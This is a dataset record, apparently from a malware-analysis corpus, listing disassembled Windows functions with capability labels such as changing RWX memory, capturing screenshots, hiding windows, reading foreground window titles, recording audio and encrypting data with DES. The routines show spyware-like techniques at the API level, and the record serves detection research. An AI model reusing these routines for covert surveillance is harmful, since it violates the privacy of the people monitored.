joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000da30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [eax]
mov edx, dword [esp + 8]
push ebx
push esi
push edi
lea esi, [ecx + edx*4]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edi, eax
lea eax, [esp + 0x14]
push eax
push 0x40
push 4
push esi
push edi
call ebx
test eax, eax
je 0x1000da8f
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x10]
push ecx
push 4
push edx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1000da8f
lea eax, [esp + 0x10]
push eax
push 4
lea ecx, [esp + 0x20]
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000da95
pop edi
pop esi
xor al, al
pop ebx
ret
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x10]
push eax
push ecx
push 4
push esi
push edi
mov dword [edx], esi
call ebx
pop edi
pop esi
mov al, 1
pop ebx
ret

Function at 0x10010aa0
Capabilities:
Check os version

Disassembly:
sub esp, 0xa0
mov eax, dword [0x101b9578]
mov dword [esp + 0x9c], eax
mov eax, dword [0x101b14ec]
cmp eax, 0xffffffff
je 0x10010adf
mov edx, dword [esp + 0xa4]
xor ecx, ecx
cmp edx, eax
sete cl
mov eax, ecx
mov ecx, dword [esp + 0x9c]
call fcn.1010122d
add esp, 0xa0
ret
lea edx, [esp]
push edx
mov dword [0x101b14ec], 0
mov dword [esp + 4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10010b1f
cmp dword [esp + 0x10], 2
jne 0x10010b1f
cmp dword [esp + 4], 6
jne 0x10010b1f
mov ecx, dword [esp + 8]
mov eax, 1
cmp ecx, eax
jne 0x10010b1f
mov dword [0x101b14ec], eax
mov ecx, dword [0x101b14ec]
mov edx, dword [esp + 0xa4]
xor eax, eax
cmp edx, ecx
mov ecx, dword [esp + 0x9c]
sete al
call fcn.1010122d
add esp, 0xa0
ret
Function at 0x10011100
Capabilities:
Get file version info

Disassembly:
sub esp, 0x120
mov eax, dword [0x101b9578]
mov ecx, dword [esp + 0x130]
push ebp
push esi
push edi
mov dword [esp + 0x128], eax
xor edi, edi
call fcn.10001f40
mov ecx, dword [esp + 0x138]
call fcn.10001f40
mov ecx, dword [esp + 0x134]
call fcn.10001f40
mov ebp, dword [esp + 0x130]
lea eax, [esp + 0x18]
push eax
push ebp
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
jne 0x10011169
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x11c]
call fcn.1010122d
add esp, 0x120
ret
push ebx
push esi
call fcn.1015297a
mov ecx, dword [esp + 0x20]
add esp, 4
mov ebx, eax
push ebx
push esi
push ecx
push ebp
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x100112d1
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x18]
push eax
push str.VarFileInfoTranslation
push ebx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x10011287
mov eax, dword [esp + 0x14]
movzx ecx, word [eax + 2]
movzx edx, word [eax]
push ecx
push edx
lea eax, [esp + 0x30]
push str.StringFileInfo_04x_04xFileDescription
push eax
call fcn.10101c69
add esp, 0x10
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x30]
push eax
push ebx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x100111f0
mov ecx, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x140]
call fcn.100032a0
mov eax, dword [esp + 0x14]
movzx edx, word [eax + 2]
movzx eax, word [eax]
push edx
push eax
lea ecx, [esp + 0x30]
push str.StringFileInfo_04x_04xCompanyName
push ecx
call fcn.10101c69
add esp, 0x10
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x30]
push ecx
push ebx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x10011239
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x138]
push edx
call fcn.100032a0
mov eax, dword [esp + 0x14]
movzx ecx, word [eax + 2]
movzx edx, word [eax]
push ecx
push edx
lea eax, [esp + 0x30]
push str.StringFileInfo_04x_04xLegalCopyright
push eax
call fcn.10101c69
add esp, 0x10
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x30]
push eax
push ebx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x10011282
mov ecx, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x144]
call fcn.100032a0
mov edi, 1
mov esi, dword [esp + 0x144]
test esi, esi
je 0x100112d1
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x24]
push eax
push 0x10168544
push ebx
xor edi, edi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x100112d1
mov eax, dword [esp + 0x20]
movzx ecx, word [eax + 0xa]
mov dword [esi], ecx
movzx edx, word [eax + 8]
mov dword [esi + 4], edx
movzx ecx, word [eax + 0xe]
mov dword [esi + 8], ecx
movzx edx, word [eax + 0xc]
mov dword [esi + 0xc], edx
mov edi, 1
push ebx
call fcn.10152975
mov ecx, dword [esp + 0x130]
add esp, 4
pop ebx
mov eax, edi
pop edi
pop esi
pop ebp
call fcn.1010122d
add esp, 0x120
ret
Function at 0x10015ac0
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, eax
or eax, 0x80000
push eax
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 2
push 1
push 0
push esi
call dword [0x101c3ab4]
push 9
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0xf
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, edi
pop edi
pop esi
ret 4

Function at 0x10015b10
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1015f3f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
mov eax, dword [0x101b9578]
push ebp
push esi
push edi
mov dword [esp + 0x54], eax
lea eax, [esp + 0x10]
push eax
mov esi, ecx
mov ecx, dword [esp + 0x6c]
push 0
push ecx
mov dword [esp + 0x20], 0x10169534
mov dword [esp + 0x1c], 0
call sub.gdiplus.dll_GdipCreateBitmapFromHBITMAP
mov edi, dword [esp + 0x10]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], edi
mov edx, dword [esp + 0x6c]
mov ecx, dword [0x101a3f54]
mov dword [esp + 0x68], edx
mov edx, dword [0x101a3f58]
mov dword [esp + 0x2c], edx
mov edx, dword [0x101a3f60]
mov dword [esp + 0x34], edx
mov eax, 1
mov dword [esp + 0x28], ecx
mov ecx, dword [0x101a3f5c]
lea edx, [esp + 0xc]
push edx
xor ebp, ebp
mov dword [esp + 0x34], ecx
push eax
lea ecx, [esp + 0x70]
push ebp
mov dword [esp + 0x6c], 0
mov dword [esp + 0x18], ebp
mov dword [esp + 0x30], eax
mov dword [esp + 0x48], 4
mov dword [esp + 0x44], eax
mov dword [esp + 0x4c], ecx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x10015c21
lea eax, [esp + 0x44]
push eax
push str.image_jpeg
mov ecx, esi
call fcn.10015950
cmp eax, 0xffffffff
je 0x10015c21
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x48]
push edx
push eax
push edi
call sub.gdiplus.dll_GdipSaveImageToStream
test eax, eax
je 0x10015c04
mov dword [esp + 0x1c], eax
jmp 0x10015c21
mov eax, dword [esp + 0xc]
lea ecx, [esi + 0x18]
push ecx
lea edx, [esi + 0x14]
push edx
push eax
mov ecx, esi
call fcn.10015a30
test eax, eax
je 0x10015c21
mov ebp, 1
mov eax, dword [esp + 0xc]
test eax, eax
je 0x10015c2f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push edi
call sub.gdiplus.dll_GdipDisposeImage
mov ecx, dword [esp + 0x58]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x4c]
mov eax, ebp
pop ebp
call fcn.1010122d
add esp, 0x58
ret 8
Function at 0x10015cb0
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
xor ebp, ebp
push edi
xor edi, edi
xor ebx, ebx
cmp esi, ebp
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], ebp
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebp
je 0x10015d2b
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x10015d29
push esi
call dword [sym.imp.USER32.dll_IsIconic]
cmp eax, ebp
mov dword [esp + 0x10], eax
je 0x10015cfd
mov ecx, dword [esp + 0x18]
push esi
call fcn.10015ac0
mov dword [esp + 0x14], eax
lea eax, [esp + 0x24]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
test eax, eax
je 0x10015d29
mov edi, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
mov ebx, dword [esp + 0x30]
mov ecx, dword [esp + 0x28]
sub edi, edx
sub ebx, ecx
cmp edi, ebp
je 0x10015d29
cmp ebx, ebp
jne 0x10015d2b
xor esi, esi
push ebp
call dword [sym.imp.USER32.dll_GetDC]
test esi, esi
mov ebp, eax
jne 0x10015d4c
mov ebx, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 8
push ebp
call ebx
push 0xa
push ebp
mov edi, eax
call ebx
mov ebx, eax
push ebp
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push ebx
push edi
push ebp
mov dword [esp + 0x44], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [esp + 0x38]
push eax
push ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.GDI32.dll_SelectObject]
test esi, esi
je 0x10015d84
mov edx, dword [esp + 0x38]
push 1
push edx
push esi
call dword [0x101c3ab0]
jmp 0x10015d9f
mov eax, dword [esp + 0x38]
push 0xcc0020
push 0
push 0
push ebp
push ebx
push edi
push 0
push 0
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10015dbe
push 6
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [esp + 0x14]
push ecx
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov ebx, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
push 0x32
push ebx
mov ecx, esi
call fcn.10015b10
test eax, eax
je 0x10015de0
mov eax, dword [esi + 0x18]
test eax, eax
mov edi, 1
ja 0x10015de4
mov edi, dword [esp + 0x20]
mov edx, dword [esp + 0x38]
push edx
call dword [sym.imp.GDI32.dll_DeleteDC]
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
jne 0x10015e0b
call esi
push eax
push str.hdc_delete_err:_d
push 4
call fcn.1008a780
add esp, 0xc
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
test eax, eax
jne 0x10015e28
call esi
push eax
push str.hbmp_delete_err:_d
push 4
call fcn.1008a780
add esp, 0xc
push ebp
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
test eax, eax
jne 0x10015e47
call esi
push eax
push str.hdcScreen_Delete_err:_d
push 4
call fcn.1008a780
add esp, 0xc
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
Function at 0x10015eb0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1015f41b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
mov eax, dword [0x101b9578]
push esi
push edi
mov dword [esp + 0x11c], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], edx
mov byte [esp + 0x10], 0
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
push 0x104
lea ecx, [esp + 0x14]
stosw word es:[edi], ax
push ecx
push edx
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x10]
call fcn.10003740
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
push eax
mov dword [esp + 0x130], 0
call fcn.10001cd0
mov esi, dword [ebp + 8]
add eax, 0x10
mov dword [esi], eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
add esp, 4
mov dword [esp + 0x12c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10015f74
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0x124]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x11c]
mov eax, esi
call fcn.1010122d
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10016ee0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x268
mov eax, dword [0x101b9578]
push ebx
push esi
push edi
mov dword [esp + 0x270], eax
push 0x104
lea eax, [esp + 0x170]
push eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
call fcn.10102351
add esp, 4
push str._H_M_S
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x44]
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], edx
call fcn.100153c0
mov edi, eax
lea ebx, [esi + 4]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [edi]
push eax
push edx
lea eax, [esp + 0x174]
push eax
push str._sTemp_s_u.dat
push ebx
call fcn.10101c69
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
add esp, 0x14
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10016f72
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov esi, dword [sym.imp.WINMM.dll_mciSendCommandA]
xor eax, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
lea ecx, [esp + 0x4c]
push ecx
mov dword [esp + 0x30], eax
push 0x2200
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
push 0x803
push eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x48], eax
mov dword [esp + 0x64], str.waveaudio
mov dword [esp + 0x68], 0x10167a1b
call esi
test eax, eax
je 0x1001700d
push 0xff
lea edx, [esp + 0x70]
push edx
push eax
call dword [sym.imp.WINMM.dll_mciGetErrorStringA]
lea eax, [esp + 0x6c]
push eax
push str.mciSC1_:__s
push 4
call fcn.1008a780
add esp, 0xc
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x264]
call fcn.1010122d
add esp, 0x268
ret 4
mov edi, dword [esp + 0x50]
lea ecx, [esp + 0x10]
push ecx
push 0x3f0002
mov eax, 1
push 0x80d
push edi
mov word [esp + 0x34], ax
mov word [esp + 0x48], 0x10
mov word [esp + 0x38], ax
mov word [esp + 0x44], 2
mov dword [esp + 0x3c], 0xac44
mov dword [esp + 0x40], 0x15888
call esi
test eax, eax
je 0x10017071
push 0xff
lea edx, [esp + 0x70]
push edx
push eax
call dword [sym.imp.WINMM.dll_mciGetErrorStringA]
lea eax, [esp + 0x6c]
push eax
push str.mciSC2_:__s
jmp 0x100170e1
mov ecx, dword [esp + 0x278]
lea edx, [esp + 0x60]
push edx
push 0xa
push 0x80f
push edi
mov dword [esp + 0x78], ecx
call esi
test eax, eax
je 0x100170ac
push 0xff
lea ecx, [esp + 0x70]
push ecx
push eax
call dword [sym.imp.WINMM.dll_mciGetErrorStringA]
lea edx, [esp + 0x6c]
push edx
push str.mciSC3_:__s
jmp 0x100170e1
lea eax, [esp + 0x44]
push eax
push 0x102
push 0x813
push edi
mov dword [esp + 0x58], ebx
call esi
test eax, eax
je 0x100170eb
push 0xff
lea ecx, [esp + 0x70]
push ecx
push eax
call dword [sym.imp.WINMM.dll_mciGetErrorStringA]
lea edx, [esp + 0x6c]
push edx
push str.mciSC4:__s
push 4
call fcn.1008a780
add esp, 0xc
push 0
push 0
push 0x804
push edi
call esi
mov ecx, dword [esp + 0x270]
pop edi
pop esi
pop ebx
call fcn.1010122d
add esp, 0x268
ret 4
Function at 0x10017ab0
Capabilities:
Enumerate devices by category

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1015f4b0
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push edi
mov edi, dword [esp + 0x34]
xor ebx, ebx
cmp edi, ebx
jl 0x10017b42
mov dword [esp + 8], ebx
lea eax, [esp + 8]
push eax
push 0x101a3f94
push 1
push ebx
push 0x101a4014
mov dword [esp + 0x40], ebx
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, ebx
jne 0x10017b2c
mov dword [esp + 0x34], ebx
mov eax, dword [esp + 8]
mov edx, dword [eax]
push ebx
lea ecx, [esp + 0x38]
push ecx
push 0x101a4004
push eax
mov byte [esp + 0x3c], 1
call dword [edx + 0xc]
cmp eax, ebx
mov eax, dword [esp + 0x34]
je 0x10017b57
cmp eax, ebx
mov byte [esp + 0x2c], bl
je 0x10017b2c
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 8]
cmp eax, ebx
mov dword [esp + 0x2c], 0xffffffff
je 0x10017b42
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 8
mov edx, dword [eax]
push esi
push eax
call dword [edx + 0x14]
mov eax, dword [esp + 0x38]
mov ecx, dword [eax]
lea edx, [esp + 0x14]
push edx
lea edx, [esp + 0x14]
push edx
push 1
push eax
xor esi, esi
call dword [ecx + 0xc]
cmp edi, ebx
jl 0x10017c12
push ebp
mov ebp, dword [esp + 0x40]
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
lea edx, [esp + 0x40]
push edx
push 0x1018ebfc
push ebx
push ebx
push eax
call dword [ecx + 0x24]
cmp eax, ebx
jl 0x10017be8
mov eax, dword [esp + 0x40]
push ebx
lea edx, [esp + 0x20]
push edx
push str.FriendlyName
mov word [esp + 0x28], 8
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
cmp eax, ebx
jne 0x10017bde
cmp esi, edi
jne 0x10017bd3
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
push ebp
push 0x101a3f84
push ebx
push ebx
push eax
call dword [ecx + 0x20]
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
lea edx, [esp + 0x18]
push edx
lea edx, [esp + 0x18]
push edx
push 1
push eax
inc esi
call dword [ecx + 0xc]
cmp esi, edi
jle 0x10017b83
pop ebp
mov eax, dword [esp + 0x38]
cmp eax, ebx
mov byte [esp + 0x30], bl
pop esi
je 0x10017c25
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 8]
cmp eax, ebx
mov dword [esp + 0x2c], 0xffffffff
je 0x10017c3b
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [esp + 0x24]
pop edi
mov al, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret 8
Function at 0x10019360
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [0x101c7aa0]
test eax, eax
push esi
mov esi, ecx
je 0x10019372
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
mov eax, dword [esi]
test eax, eax
mov dword [esi + 0x50], 0
je 0x1001939e
mov edx, dword [eax + 0x28]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi]
test ecx, ecx
je 0x10019398
mov eax, dword [ecx]
push 1
call dword [eax + 4]
mov dword [esi], 0
mov eax, dword [0x101c7aa0]
test eax, eax
pop esi
je 0x100193b8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [0x101c7aa0], 0
mov eax, dword [0x101c7aa4]
test eax, eax
je 0x100193d1
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov dword [0x101c7aa4], 0
ret

Function at 0x10019520
Capabilities:
Parse pe header

Disassembly:
mov al, byte [esp + 4]
movsx ecx, al
add ecx, 0xffffffd9
cmp ecx, 0x53
ja case.0x1001953a.40
movzx ecx, byte [ecx + 0x100196ec]
jmp dword [ecx*4 + 0x1001962c]
mov al, 0x7e
ret 4
mov al, 0x21
ret 4
mov al, 0x40
ret 4
mov al, 0x23
ret 4
mov al, 0x24
ret 4
mov al, 0x25
ret 4
mov al, 0x5e
ret 4
mov al, 0x26
ret 4
mov al, 0x2a
ret 4
mov al, 0x28
ret 4
mov al, 0x29
ret 4
mov al, 0x5f
ret 4
mov al, 0x2b
ret 4
mov al, 0x51
ret 4
mov al, 0x57
ret 4
mov al, 0x45
ret 4
mov al, 0x52
ret 4
mov al, 0x54
ret 4
mov al, 0x59
ret 4
mov al, 0x55
ret 4
mov al, 0x49
ret 4
mov al, 0x4f
ret 4
mov al, 0x50
ret 4
mov al, 0x7b
ret 4
mov al, 0x7d
ret 4
mov al, 0x41
ret 4
mov al, 0x53
ret 4
mov al, 0x44
ret 4
mov al, 0x46
ret 4
mov al, 0x47
ret 4
mov al, 0x48
ret 4
mov al, 0x4a
ret 4
mov al, 0x4b
ret 4
mov al, 0x4c
ret 4
mov al, 0x3a
ret 4
mov al, 0x22
ret 4
mov al, 0x7c
ret 4
mov al, 0x5a
ret 4
mov al, 0x58
ret 4
mov al, 0x43
ret 4
mov al, 0x56
ret 4
mov al, 0x42
ret 4
mov al, 0x4e
ret 4
mov al, 0x4d
ret 4
mov al, 0x3c
ret 4
mov al, 0x3e
ret 4
mov al, 0x3f
ret 4
Function at 0x10019af0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1015f5e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ebx, [esi + 4]
call fcn.10152999
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebx], eax
xor edi, edi
mov dword [esp + 0x1c], edi
lea ebp, [esi + 8]
call fcn.10152999
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp], eax
push edi
push 0x10167a1b
mov ecx, ebx
mov byte [esp + 0x24], 1
mov dword [0x101c7aa4], edi
mov dword [0x101c7aa0], edi
call fcn.100025e0
push edi
push 0x10167a1b
mov ecx, ebp
call fcn.100025e0
mov eax, dword [esp + 0x24]
mov dword [esi + 0x4c], eax
mov dword [esi], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x58], edi
xor ecx, ecx
or eax, 0xffffffff
mov dword [esi + 0x54], eax
mov dword [esi + 0x5c], eax
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], ecx
mov dword [esi + 0x30], ecx
mov dword [esi + 0x34], ecx
mov dword [esi + 0x38], ecx
mov dword [esi + 0x3c], ecx
mov dword [esi + 0x40], ecx
mov ecx, dword [esp + 0x14]
xor edx, edx
mov dword [esi + 0xc], edx
mov dword [esi + 0x10], edx
mov dword [esi + 0x14], edx
mov dword [esi + 0x18], edx
mov dword [esi + 0x1c], edx
mov dword [esi + 0x20], edx
pop edi
mov dword [esi + 0x24], edx
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x1001b740
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push edi
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
mov edi, ecx
push 0
lea ebx, [edi + 4]
push ebx
call esi
test eax, eax
jne 0x1001b784
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x1001b77c
push 8
push 1
push 0
push 0
push ebx
call esi
test eax, eax
jne 0x1001b784
or esi, 0xffffffff
jmp 0x1001b80c
mov eax, dword [ebx]
lea esi, [edi + 8]
push esi
push 0
push 0
push 0x8003
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x1001b7a5
mov esi, 0xfffffffe
jmp 0x1001b80c
mov edx, dword [esp + 0x10]
mov eax, edx
push ebp
lea ebp, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001b7b0
mov ecx, dword [esi]
push 0
sub eax, ebp
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
pop ebp
jne 0x1001b7d2
mov esi, 0xfffffffd
jmp 0x1001b80c
mov edx, dword [esi]
mov eax, dword [ebx]
push edi
push 0
push edx
push 0x6601
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1001b7f1
mov esi, 0xfffffffc
jmp 0x1001b80c
mov ecx, dword [esp + 0x14]
mov edx, dword [edi]
push 0
push ecx
push 1
push edx
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
jne 0x1001b831
mov esi, 0xfffffffb
mov edi, dword [edi + 8]
test edi, edi
je 0x1001b81a
push edi
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov ebx, dword [ebx]
test ebx, ebx
je 0x1001b829
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
mov eax, esi
pop esi
pop ebx
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
Function at 0x1001b840
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ecx
cmp dword [ecx], 0
mov dword [esp], ecx
jne 0x1001b84f
xor eax, eax
pop ecx
ret 0x10
push ebp
push esi
mov esi, dword [esp + 0x10]
test esi, esi
je 0x1001b923
mov eax, dword [esp + 0x18]
test eax, eax
je 0x1001b923
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x1001b923
mov eax, dword [ebp]
cmp eax, dword [esp + 0x14]
jl 0x1001b923
push ebx
push eax
call fcn.10101e75
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x1001b899
pop ebx
pop esi
pop ebp
pop ecx
ret 0x10
mov ecx, dword [esp + 0x18]
push edi
mov eax, ecx
shr ecx, 2
mov edi, ebx
mov edx, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
test edx, edx
rep movsb byte es:[edi], byte [esi]
jne 0x1001b8c7
push ebx
call fcn.1010168d
add esp, 4
pop edi
pop ebx
pop esi
xor eax, eax
pop ebp
pop ecx
ret 0x10
mov eax, dword [ebp]
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [edx]
lea ecx, [esp + 0x20]
push ecx
push ebx
push 0
push 1
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
push ebx
je 0x1001b8b5
mov eax, dword [esp + 0x20]
mov edi, dword [esp + 0x24]
mov ecx, eax
mov edx, ecx
shr ecx, 2
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x24]
mov dword [ebp], eax
mov byte [eax + ecx], 0
call fcn.1010168d
add esp, 4
pop edi
pop ebx
pop esi
mov eax, 1
pop ebp
pop ecx
ret 0x10
push 1
push 0x57
call dword [sym.imp.USER32.dll_SetLastErrorEx]
pop esi
xor eax, eax
pop ebp
pop ecx
ret 0x10